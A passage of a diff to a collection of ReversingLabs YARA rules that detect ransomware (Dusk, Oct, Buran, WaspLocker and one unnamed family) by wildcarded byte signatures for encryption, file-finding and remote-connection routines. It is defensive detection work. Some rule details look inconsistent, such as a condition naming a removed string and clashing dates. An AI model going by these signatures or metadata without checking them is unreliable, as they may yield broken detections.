-            FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? FF B5 ?? ?? ?? ??
-            8D 45 ?? 50 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? E9 ??
-            ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 6A ?? FF B5 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ??
-            ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ??
-            50 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 33 FF 33 F6 57 FF B5 ?? ??
-            ?? ?? FF 15 ?? ?? ?? ?? 57 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D
-            85 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84
+		$encrypt_files_p2 = {
+            E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 52 50 E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 95 ??
+            ?? ?? ?? 68 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 51 8B 95 ?? ?? ?? ?? 52 68 ?? ?? ?? ?? 8B
+            85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 74 ?? 68
+            ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 51 8B 95 ?? ?? ?? ?? 52 68 ?? ?? ?? ?? 6A ?? 68 ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ??
+            51 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 95 ?? ?? ?? ?? 52
+            FF 15 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 8C ?? ?? ??
+            ?? 7F ?? 83 BD ?? ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 68
+            ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ??
+            ?? ?? 74 ?? 8B 95 ?? ?? ?? ?? 52 8B 85 ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ?? 51 68 ?? ??
+            ?? ?? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 95 ?? ?? ?? ?? 52 8B 85 ?? ??
+            ?? ?? 50 8B 8D ?? ?? ?? ?? 51 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83
         }
 		$encrypt_files_p3 = {
-            8B 85 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 03 F8 8D 85 ?? ?? ?? ?? 3B
-            BD ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 0F 44 F1 50 6A ?? 56 6A ?? FF B5 ?? ?? ?? ?? FF
-            15 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50
-            FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 74
-            ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ??
-            ?? 6A ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ??
-            B9 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 6A ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF
-            B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF B5 ?? ?? ??
-            ?? 8B 35 ?? ?? ?? ?? FF D6 FF B5 ?? ?? ?? ?? FF D6 C6 85 ?? ?? ?? ?? ?? E9 ?? ?? ??
-            ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8A 85 ?? ?? ?? ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59
-            5F 5E 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3
+            C4 ?? 8B 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ??
+            8B 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 68 ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 74 ?? 8B 45
+            ?? 50 8B 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 52 FF
+            15 ?? ?? ?? ?? 6A ?? 8B 85 ?? ?? ?? ?? 50 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 8B 95 ?? ??
+            ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ??
+            ?? 6A ?? 6A ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? 51 6A ?? 8D 95 ?? ?? ??
+            ?? 52 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 8D 45 ?? 50 6A
+            ?? 8B 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ??
+            ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 51 8D 95 ?? ??
+            ?? ?? 52 8B 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? C7 85 ?? ?? ??
+            ?? ?? ?? ?? ?? EB ?? 8B 8D ?? ?? ?? ?? 83 C1 ?? 89 8D ?? ?? ?? ?? 8B 95 ?? ?? ?? ??
+            3B 95 ?? ?? ?? ?? 0F 83 ?? ?? ?? ?? 69 85 ?? ?? ?? ?? ?? ?? ?? ?? 83 BC 05 ?? ?? ??
+            ?? ?? 0F 84 ?? ?? ?? ?? 69 8D ?? ?? ?? ?? ?? ?? ?? ?? 81 BC 0D ?? ?? ?? ?? ?? ?? ??
+            ?? 74 ?? FF 15 ?? ?? ?? ?? 69 95 ?? ?? ?? ?? ?? ?? ?? ?? 3B 84 15 ?? ?? ?? ?? 74 ??
+            69 85 ?? ?? ?? ?? ?? ?? ?? ?? 8B 8C 05 ?? ?? ?? ?? 51 6A ?? 68 ?? ?? ?? ?? FF 15 ??
+            ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 74 ?? 6A ?? 8B 95 ?? ?? ?? ?? 52 FF
+            15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 8D ?? ?? ??
+            ?? 51 FF 15 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? C7 85 ??
+            ?? ?? ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3
         }
-		$find_files = {
-            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ??
-            33 C5 89 45 ?? 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B F9 89 BD ?? ?? ?? ?? 33 C0 89
-            85 ?? ?? ?? ?? 38 47 ?? 0F 85 ?? ?? ?? ?? 8B 07 8B 08 8D 85 ?? ?? ?? ?? 50 8D 49 ??
-            E8 ?? ?? ?? ?? 83 38 ?? 0F 85 ?? ?? ?? ?? 83 7F ?? ?? 74 ?? 8B 07 8B 08 8D 85 ?? ??
-            ?? ?? 50 8D 49 ?? E8 ?? ?? ?? ?? 83 38 ?? 0F 84 ?? ?? ?? ?? 8B 07 8D 8D ?? ?? ?? ??
-            8B 30 8D 46 ?? 50 E8 ?? ?? ?? ?? 8D 46 ?? C7 45 ?? ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? B8 ?? ?? ??
-            ?? 8B 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 8D 14 55 ??
-            ?? ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 76
-            ?? FF 15 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 C7 85 ?? ?? ?? ?? ?? ?? ??
-            ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 07 8B
-            30 8B 46 ?? 8B 00 85 C0 74 ?? 8D 8D ?? ?? ?? ?? 51 50 8D 85 ?? ?? ?? ?? 50 FF 15 ??
-            ?? ?? ?? 83 C4 ?? 66 83 38 ?? 75 ?? 8B 46 ?? FF 30 FF 15 ?? ?? ?? ?? 8B 46 ?? 83 C4
-            ?? C7 00 ?? ?? ?? ?? EB ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D
-            4E ?? 50 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8D
-            8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 8D 8D ?? ?? ?? ?? E8
-            ?? ?? ?? ?? C6 45 ?? ?? 81 7F ?? ?? ?? ?? ?? 8B 37 8B 36 75 ?? 68 ?? ?? ?? ?? FF 15
-            ?? ?? ?? ?? 8B 46 ?? 89 85 ?? ?? ?? ?? 89 BD ?? ?? ?? ?? C6 45 ?? ?? 6A ?? C7 85 ??
-            ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 8D 85 ?? ?? ?? ?? 8D 4F ?? 50 E8
+		$enum_resources = {
+            55 8B EC 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ??
+            ?? ?? 8D 45 ?? 50 8B 4D ?? 51 6A ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ??
+            ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 8D 45
+            ?? 50 8B 4D ?? 51 8D 55 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 85 C0 75 ?? C7 45 ?? ?? ??
+            ?? ?? EB ?? 8B 4D ?? 83 C1 ?? 89 4D ?? 8B 55 ?? 3B 55 ?? 73 ?? 8B 45 ?? C1 E0 ?? 8B
+            4D ?? 8B 54 01 ?? 83 E2 ?? 74 ?? 8B 45 ?? C1 E0 ?? 03 45 ?? 50 E8 ?? ?? ?? ?? 83 C4
+            ?? EB ?? 6A ?? 8B 4D ?? C1 E1 ?? 8B 55 ?? 8B 44 0A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? EB
+            ?? EB ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 4D ?? 33
+            CD E8 ?? ?? ?? ?? 8B E5 5D C3
         }
 
 	condition:
-		uint16(0)==0x5A4D and ($find_files) and ( all of ($encrypt_files_p*)) and ( all of ($remote_connection_p*))
+		uint16(0)==0x5A4D and ($find_files) and ( all of ($encrypt_files_p*)) and ($enum_resources)
 }
-rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Dusk : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Buran : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Dusk ransomware."
+		description = "Yara rule that detects Buran ransomware."
 		author = "ReversingLabs"
-		id = "cde30f40-f13c-53da-8656-cc293433aa36"
-		date = "2021-08-12"
-		modified = "2021-08-12"
+		id = "c2a36a8b-5c21-5c31-994d-b424c038dd21"
+		date = "2020-07-15"
+		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/ByteCode.MSIL.Ransomware.Dusk.yara#L1-L73"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "b6b0b3be7c17115dc5f225a13228f8a4811d84ae095c3ceba2d89f569f2d40c7"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Buran.yara#L1-L91"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "5606e0acecd99ccf2feaa995353211302903a09bb2c4ec65903566215e2d5ca4"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -34076,66 +35655,83 @@ rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Dusk : TC_DETECTION MALICIOUS MALWAR
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Dusk"
+		tc_detection_name = "Buran"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$encrypt_files_p1 = {
-            03 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 04 6F ?? ?? ?? ?? 0A 28 ?? ?? ?? ?? 06 6F ?? ?? ?? ??
-            0A 06 28 ?? ?? ?? ?? 0B 03 07 28 ?? ?? ?? ?? 03 03 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ??
-            ?? ?? ?? DE ?? 26 DE ?? 2A
+		$find_files = {
+            55 8B EC 81 C4 ?? ?? ?? ?? 53 56 57 33 DB 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D
+            ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ??
+            89 5D ?? 89 5D ?? 88 8D ?? ?? ?? ?? 88 95 ?? ?? ?? ?? 89 45 ?? 8D 45 ?? E8 ?? ?? ??
+            ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF
+            30 64 89 20 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 55 ?? 8B 45 ?? E8 ?? ?? ??
+            ?? 8B 55 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 74 ?? 80 BD ?? ?? ?? ?? ?? 75 ?? 33
+            C0 5A 59 59 64 89 10 E9 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ??
+            8B 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8D 85 ?? ?? ??
+            ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 45 ??
+            8B 8D ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 55 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 84
+            C0 75 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0
+            74 ?? 80 BD ?? ?? ?? ?? ?? 74 ?? 33 C9 8B 55 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 33 C0 5A 59 59
+            64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 E9
         }
-		$encrypt_files_p2 = {
-            14 0A 1E 8D ?? ?? ?? ?? 25 D0 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 73 ?? ?? ?? ?? 0C 73 ?? ??
-            ?? ?? 0D 09 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 09 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 03 07 20 ??
-            ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 09 11 ?? 09 6F ?? ?? ?? ?? 1E 5B 6F ?? ?? ?? ?? 6F ?? ??
-            ?? ?? 09 11 ?? 09 6F ?? ?? ?? ?? 1E 5B 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 09 17 6F ?? ?? ??
-            ?? 08 09 6F ?? ?? ?? ?? 17 73 ?? ?? ?? ?? 13 ?? 11 ?? 02 16 02 8E 69 6F ?? ?? ?? ?? 11
-            ?? 6F ?? ?? ?? ?? DE ?? 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? DC 08 6F ?? ?? ?? ?? 0A DE ??
-            09 2C ?? 09 6F ?? ?? ?? ?? DC 08 2C ?? 08 6F ?? ?? ?? ?? DC 06 2A
+		$encrypt_files = {
+            53 56 57 55 BB ?? ?? ?? ?? BF ?? ?? ?? ?? 80 7B ?? ?? 75 ?? 83 3F ?? 74 ?? 8B 07 89
+            C6 33 C0 89 07 FF D6 83 3F ?? 75 ?? 83 3D ?? ?? ?? ?? ?? 74 ?? E8 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 33 C0 A3 ?? ?? ?? ?? 80 7B ?? ?? 75 ?? 83 3D ?? ?? ?? ?? ?? 75 ?? 33 C0 89
+            43 ?? E8 ?? ?? ?? ?? 80 7B ?? ?? 76 ?? 83 3D ?? ?? ?? ?? ?? 74 ?? 8B 7B ?? 85 FF 74
+            ?? 8B C7 E8 ?? ?? ?? ?? 8B 6B ?? 8B 75 ?? 3B 75 ?? 74 ?? 85 F6 74 ?? 56 E8 ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 80 7B ?? ?? 75 ?? FF 53 ?? 80 7B ?? ?? 74 ?? E8 ?? ?? ?? ?? 83 3B
+            ?? 75 ?? 83 3D ?? ?? ?? ?? ?? 74 ?? FF 15 ?? ?? ?? ?? A1 ?? ?? ?? ?? 50 E8 ?? ?? ??
+            ?? 8B 03 8B F0 8B FB B9 ?? ?? ?? ?? F3 A5 E9 ?? ?? ?? ?? 5D 5F 5E 5B C3 A3
         }
-		$dusk_delete_itself = {
-            72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 1A 8D ?? ?? ?? ?? 25 16
-            72 ?? ?? ?? ?? A2 25 17 72 ?? ?? ?? ?? 03 28 ?? ?? ?? ?? A2 25 18 72 ?? ?? ?? ?? 28 ??
-            ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? A2 25 19 72 ?? ?? ?? ?? A2 0B 06 07 28 ?? ?? ??
-            ?? 06 06 28 ?? ?? ?? ?? 18 60 28 ?? ?? ?? ?? 20 ?? ?? ?? ?? 28 ?? ?? ?? ?? 06 73 ?? ??
-            ?? ?? 25 17 6F ?? ?? ?? ?? 25 16 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 04 28 ?? ?? ?? ?? 28
-            ?? ?? ?? ?? DE ?? 26 DE ?? 2A
+		$remote_connection_p1 = {
+            55 8B EC 81 C4 ?? ?? ?? ?? 50 83 C4 ?? 53 56 33 DB 89 9D ?? ?? ?? ?? 89 9D ?? ?? ??
+            ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 5D ?? 8B D9 89 55 ?? 89
+            45 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF
+            30 64 89 20 8B C3 E8 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 89 45
+            ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 BE ?? ??
+            ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 56 8D 95 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ??
+            ?? 0F 84 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 55 ?? B8 ?? ?? ??
+            ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 6A ?? 56 6A ?? 6A ?? 6A ?? 8B 45 ?? E8
         }
-		$find_files = {
-            20 ?? ?? ?? ?? 72 ?? ?? ?? ?? A2 25 20 ?? ?? ?? ?? 72 ?? ?? ?? ?? A2 25 20 ?? ?? ?? ??
-            72 ?? ?? ?? ?? A2 0A 1F ?? 8D ?? ?? ?? ?? 25 16 1F ?? 28 ?? ?? ?? ?? A2 25 17 1E 28 ??
-            ?? ?? ?? A2 25 18 1F ?? 28 ?? ?? ?? ?? A2 25 19 1F ?? 28 ?? ?? ?? ?? A2 25 1A 1F ?? 28
-            ?? ?? ?? ?? A2 25 1B 1B 28 ?? ?? ?? ?? A2 25 1C 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ??
-            ?? ?? 28 ?? ?? ?? ?? A2 25 1D 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ??
-            ?? A2 25 1E 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? A2 25 1F ?? 72
-            ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? A2 0B 16 0C 2B ?? 07 08 9A 0D
-            1F ?? 28 ?? ?? ?? ?? 13 ?? 09 72 ?? ?? ?? ?? 17 28 ?? ?? ?? ?? 13 ?? 16 13 ?? 2B ?? 11
-            ?? 11 ?? 9A 28 ?? ?? ?? ?? 13 ?? 06 11 ?? 28 ?? ?? ?? ?? 2C ?? 02 11 ?? 11 ?? 9A 11 ??
-            28 ?? ?? ?? ?? 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E 69 32 ?? 00 02 09 28 ?? ?? ?? ?? DE ??
-            26 DE ?? 08 17 58 0C 08 07 8E 69 32 ?? 02 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 20 ?? ?? ?? ??
-            28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ??
-            ?? 26 DE ?? 26 DE ?? 20 ?? ?? ?? ?? 28 ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 20
-            ?? ?? ?? ?? 6F ?? ?? ?? ?? 2A
+		$remote_connection_p2 = {
+            50 8B 45 ?? E8 ?? ?? ?? ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 84
+            ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 33 C9 B2 ?? A1 ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 89 45 ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 95 ?? ?? ?? ?? B8
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ??
+            ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D
+            85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ??
+            ?? 8D 95 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 75 ?? 68 ??
+            ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B 45 ??
+            E8 ?? ?? ?? ?? 8B 45 ?? 8B 70 ?? 85 F6 74 ?? 83 EE ?? 8B 36 68 ?? ?? ?? ?? 56 8B 45
+            ?? 8B 40 ?? E8 ?? ?? ?? ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 8B
+            45 ?? 50 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ??
+            89 45 ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 EB ?? 83 7D ?? ?? 74 ?? 8D 95 ??
+            ?? ?? ?? 8B 4D ?? 8B 45 ?? 8B 30 FF 56 ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ??
+            ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? 85 C0 75 ?? C6 85 ?? ?? ?? ?? ?? 8D 95 ?? ?? ?? ??
+            B9 ?? ?? ?? ?? 8B 45 ?? 8B 30 FF 56 ?? 8B C3 8B 55 ?? 8B 52 ?? E8 ?? ?? ?? ?? 33 C0
+            5A 59 59 64 89 10 68 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? C3 E9
         }
 
 	condition:
-		uint16(0)==0x5A4D and ($find_files) and ( all of ($encrypt_files_p*)) and ($dusk_delete_itself)
+		uint16(0)==0x5A4D and ($find_files) and ($encrypt_files) and ( all of ($remote_connection_p*))
 }
-rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Oct : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Wasplocker : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Oct ransomware."
+		description = "Yara rule that detects WaspLocker ransomware."
 		author = "ReversingLabs"
-		id = "e811a0ba-52df-5e88-ab71-df91d5cb584a"
-		date = "2024-10-04"
-		date = "2024-10-04"
-		modified = "2021-08-12"
+		id = "596bf965-700a-58f5-b0e5-61ec57c23a3e"
+		date = "2022-06-28"
+		modified = "2022-06-28"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/ByteCode.MSIL.Ransomware.Oct.yara#L1-L68"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "3973794d6bf26eaa752cfc70a217c059a190c63a0dd92b06de7c0893d92d9e88"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.WaspLocker.yara#L1-L76"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "852ec52328fca36d651e3176ac33a57ce26cefecadc2aad27235548e5b9813c1"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -34143,62 +35739,69 @@ rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Oct : TC_DETECTION MALICIOUS MALWARE
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
+		tc_detection_name = "WaspLocker"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
